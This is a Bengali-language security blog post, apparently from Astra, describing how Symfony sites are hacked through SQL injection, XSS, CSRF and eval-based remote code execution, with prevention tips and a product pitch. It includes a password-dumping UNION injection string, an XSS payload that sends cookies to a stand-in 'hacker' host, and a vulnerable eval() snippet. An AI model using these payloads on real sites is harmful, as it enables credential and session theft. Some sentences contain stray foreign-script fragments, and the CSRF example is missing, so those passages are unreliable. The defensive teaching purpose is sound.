Symfony হলো একটি জনপ্রিয় PHP ফ্রেমওয়ার্ক যা ব্যবহারকারীদের PHP ওয়েবসাইট এবং ওয়েব অ্যাপ্লিকেশন তৈরি করা সহজ করে দেয়। অতীতে, Drupal Symfony ফ্রেমওয়ার্কের একটি ত্রুটির কারণে প্রভাবিত হয়েছিল। চরম ফলাফলে, Symfony ওয়েবসাইট হ্যাক হয়েছিল। যদিও এটি সময়ের সাথেথায় Symfony ফ্রেমওয়ার্কের ত্রুটি ছিল, কিন্তু অসুরক্ষিত ডেভেলপমেন্ট প্র্যাকটিসও আপনার PHP ওয়েবসাইটকে আপদার্থ করে তোলে। এই আর্টিকেলের মাধ্যমে, আপনি শিখবেন কোন ক্রিটিক্যাল লুকসানগুলো Symfony ওয়েবসাইট হ্যাক করতে পারে এবং কীভাবে সেগুলো প্রতিরোধ করবেন।
Symfony-এর জনপ্রিয়তার কারণ হলো এটি ডিকাপল এবং ব্যবহারযোগ্য PHP লাইব্রেরির একটি সেট প্রদান করে। এই লাইব্রেরিগুলো ডেভেলপমেন্ট গতি বাড়াতে এবং সহজ করে দিতে পারে। যাইহোক, শুধু Symfony ফ্রেমওয়ার্ক ব্যবহার করলেই আপনার PHP ওয়েবসাইট সুরক্ষিত হবে না। Contrast Security-এর ডেটা অনুযায়ী,
Symfony ওয়েবসাইট হ্যাক: লক্ষণ
- ডেটাবেসে সন্দেহজনক টেবিল, অজানা ব্যবহারকারী এবং সিস্টেমে অজানা ফাইল থাকলে Symfony SQL ইনজেকশনের সংকেত হতে পারে।
- মাছিল ডোমেইনে রিডাইরেক্ট করার পপ-আপ এবং বিজ্ঞাপন Symfony রিমোট কোড এক্সিকিউশনের ফলাফল হতে পারে।
- যদি ব্যবহারকারীরা তাদের যাচাইকরণ ছাড়া আপনার সাইটে অ্যাকাউন্ট ডিলিশন বা ডেটা ম্যানিপুলেশন নিয়ে অভিযোগ করে, তবে এটি Symfony ক্রস-সাইট রিকোয়েস্ট ফোরজারির কারণে হতে পারে।
- আপনার সাইটে জিবারিশ কন্টেন্ট প্রদর্শিত হলে এটি Symfony স্টোরড ক্রস-সাইট স্ক্রিপ্টিংয়ের কারণে হতে পারে।
- সব Symfony ওয়েবসাইট হ্যাকের ফলাফল হিসেবে, সার্চ ইঞ্জিন ব্যবহারকারীদের আপনার সাইটে না যাওয়ার সতর্কতা দেয়।
Symfony ওয়েবসাইট হ্যাকের কারণ
Symfony ওয়েবসাইট হ্যাক: SQL ইনজেকশন
Symfony SQL ইনজেকশন হলো একটি আক্রমণের ধরন যা মূলত আপনার সাইটের ডেটাবেসকে টার্গেট করে। ইউজার ইনপুট স্যানিটাইজেশনের অভাব সাইটকে আপদার্থ করে তোলে যা Symfony ওয়েবসাইট হ্যাকের দিকে নিয়ে যায়। উদাহরণস্বরূপ, নিচের কোডটি দেখুন:
<?php
$query = "SELECT id, name, inserted, size FROM products WHERE size = '$size'";
$result = odbc_exec($conn, $query);
?>
এটি একটি সাধারণ PHP কোড দেখাচ্ছে SQL কোয়েরি এক্সিকিউট করার জন্য, কিন্তু আক্রমণকারী SELECT SQL কমান্ড ব্যবহার করে ডেটাবেস থেকে সব পাসওয়ার্ড প্রকাশ করতে এটি ব্যবহার করতে পারে। $size ভেরিয়েবলে দেওয়া ইনপুটটি এরকম দেখাবে:
'union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from user;--
এই স্টেটমেন্ট এক্সিকিউশনের ফলে user নামক টেবিল থেকে সব পাসওয়ার্ড লিস্ট আপ होতে পারে। এই স্টেটমেন্টের শেষে '—' চিহ্নগুলো এই লাইনের বাকি কোডকে কমেন্টে পরিণত করে কোনো এরর এড়াতে। এটি শুধু একটি ছোট উদাহরণ, আক্রমণকারী আপনার ডেটাবেস ম্যানিপুলেট, এডিট এবং এমনকি ডিলিট করার জন্য বিভিন্ন উপায়ে এটি ব্যবহার করতে পারে। কিছু Symfony ওয়েবসাইট হ্যাক কেসে, SQLi রিভার্স শেল পাওয়ার জন্যও ব্যবহার করা যেতে পারে।
Symfony ওয়েবসাইট হ্যাক: ক্রস-সাইট স্ক্রিপ্টিং
XSS হলো একটি ব্যাপকভাবে পাওয়া লুকসান যা উপযুক্ত ইউজার ইনপুট স্যানিটাইজেশনের অভাবের কারণে ঘটে। এই লুকসানটি সাধারণত সার্চ বক্স, মেসেজ বোর্ড ইত্যাদিতে পাওয়া যায়। XSS-এর কারণে হ্যাক হওয়া একটি Symfony ওয়েবসাইট আক্রমণকারী কুকিজ চুরি করতে এবং সেশন টেকওভার করতে ব্যবহার করতে পারে। উদাহরণস্বরূপ, নিচের কোড সহ একটি সার্চ কোয়ারী তৈরি করলে আক্রমণকারী কুকিজ চুরি করতে পারে যেকেউ এই লিংকে ক্লিক করলে।
"><SCRIPT>var+img=new+Image();img.src="https://hacker/"%20+%20document.cookie;</SCRIPT>
এখানে '> ' ক্যারেক্টারটি পূর্বের ট্যাগগুলো বন্ধ করে। তারপর image() কনস্ট্রাক্টর 'img' ভেরিয়েবলে একটি নতুন ইমেজ তৈরি করে। পরবর্তী লাইনটি ইমেজের সোর্ড নির্ধারণ করে এবং একই লাইনে document.cookie মেথডটি সেশন টেকওভারের জন্য কুকি পেতে ব্যবহৃত হয়।
যদি XSS স্টোরড বা পারসিস্টেন্ট হয়, তবে এটি আরও опасなぜなら এই স্ক্রিপ্টটি কোনো হারা সংক্রমিত পৃষ্ঠা খুললে স্বয়ংক্রিয়ভাবে কুকিজ চুরি করবে। જgrond, রিফ্লেক্টেড XSS সোশ্যাল ইঞ্জিনিয়ারিং আক্রমণের ওপর নির্ভর করে। শুধু কুকি চুরি নয়, XSS-এর কারণে Symfony ওয়েবসাইট হ্যাক হওয়া সব ধরনের ফিশিং আক্রমণের জন্যও ব্যবহার করা যেতে পারে! আপনার হ্যাক হওয়া Symfony ওয়েবসাইট রিপেयर করতে সাহায্য দরকার? এখনই আপনার সাইট পরিষ্কার করুন
Symfony ওয়েবসাইট হ্যাক: ক্রস-সাইট রিকোয়েস্ট ফোরজারি
CSRF আক্রমণকারী ব্যবহার করতে পারে আপনার শিকারদের অবাঞ্ছিত কাজ করতে বাধ্য করার জন্য যেমন অ্যাকাউন্ট ডিলিশন, ইউজার ডেটা ম্যানিপুলেশন, ইত্যাদি। উদাহরণস্বরূপ, যখন একজন ব্যবহারকারী আপনার সাইটে লগইন করা থাকে, তখন নিচের মতো একটি বিশেষভাবে তৈরি করা পৃষ্ঠা ভিজিট করলে অ্যাকাউন্ট ডিলিশন হতে পারে।
এই পৃষ্ঠাটি অ্যাকশনের 'delete' মান ব্যবহার করে ইউজার অ্যাকাউন্ট ডিলিট করবে। যদিও আক্রমণকারী CSRF ব্যবহার করে বিভিন্ন আক্রমণ চালাতে পারে, কিন্তু সেগুলো সফলভাবে এক্সিকিউট হয়েছে কিনা তা দেখার কোনো মেকানিজম তার पास নেই।
Symfony ওয়েবসাইট হ্যাক: রিমোট কোড এক্সিকিউশন
রিমোট কোড এক্সিকিউশন Symphony ব্যবহারকারী ওয়েবসাইটগুলিতে খারাপ কোডিং স্ট্যান্ডার্ডের কারণে ঘটে। উপরে দেওয়া সব আক্রমণের সবচেয়ে বড় সিকিউরিটি ইস্যু হলো ইউজার ইনপুটে আস্থা রাখা। উদাহরণস্বরূপ, PHP কোডে eval() ফাংশনের খারাপ ব্যবহার এরকম দেখাবে:
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
এটি די ساده একটি কোড দেখাচ্ছে যা আর্গুমেন্টগুলো নেবে এবং eval ফাংশন ব্যবহার করে স্ট্রিংকে PHP কোড হিসেবে এক্সিকিউট করবে। কিন্তু যেহেতু ইনপুট ফিল্টার করা হয় না, আক্রমণকারী /index.php?arg=1; phpinfo() এরকম কিছু মান সরবরাহ করতে পারে যা phpinfo() ফাংশনের কোড এক্সিকিউশনে নিয়ে যাবে।
Symfony ওয়েবসাইট হ্যাক: নিরাপদ ডেভেলপমেন্ট প্র্যাকটিস
- আপনার Symfony ওয়েবসাইটে SQLi আক্রমণ প্রতিরোধ করতে প্রিপেয়ারড স্টেটমেন্ট ব্যবহার করুন।
- আপনার Symfony ওয়েবসাইটে XSS আক্রমণ প্রতিরোধ করতে htmlspecialchars() ফাংশন ব্যবহার করুন। যখনই কোনো ইউজার ইনপুট ব্রাউজারে আউটপুট হিসেবে প্রদর্শন করতে হবে তখনই এটি ইমপ্লিমেন্ট করুন।
- পৃষ্ঠায় লুকানো একটি র্যান্ডম টোকেন ইমপ্লিমেন্ট করুন CSRF আক্রমণ এড়াতে এইভাবে: <input type=”hidden” name=”csrf” value=”<?php echo $_SESSION[“token”]; ?>”>
- RCE প্রতিরোধ করতে php.ini ফাইলে এই PHP ডিরেক্টিভের মাধ্যমে সব খারাপ ফাংশন ডিজেবল করুন: disable_functions = “show_source, system, shell_exec, passthru, exec, popen, proc_open, allow_url_fopen, eval”
- সারসংক্ষেপ হলো অধিকাংশ লুকসান আপনার Symfony ওয়েবসাইটে ইউজার ইনপুটে আস্থা না রাখলেই এড়ানো যায়।
- যদি আপনি সন্দেহ করেন আপনার ওয়েবসাইটে কোনো লুকসান লুকিয়ে থাকতে পারে, তবে একটি সম্পূর্ণ সিকিউরিটি অডিট করুন।
Astra
আমাদের মেশিন-লার্নিং চালিত ম্যালওয়্যার স্ক্যানার এবং বুদ্ধিমান ফায়ারওয়ালের সাথে, আপনার ওয়েবসাইট সিকিউরিটি আরও হার্ডেন্ড হয়ে যায়। সব কিছু সাধারন মূল্যে উপলব্ধ কারণ প্ল্যানগুলো ছোট ওয়েবসাইটের জন্যও ফ্লেক্সিবল। এখনই Astra Web Protection ফ্রি ট্রায়াল নিন!
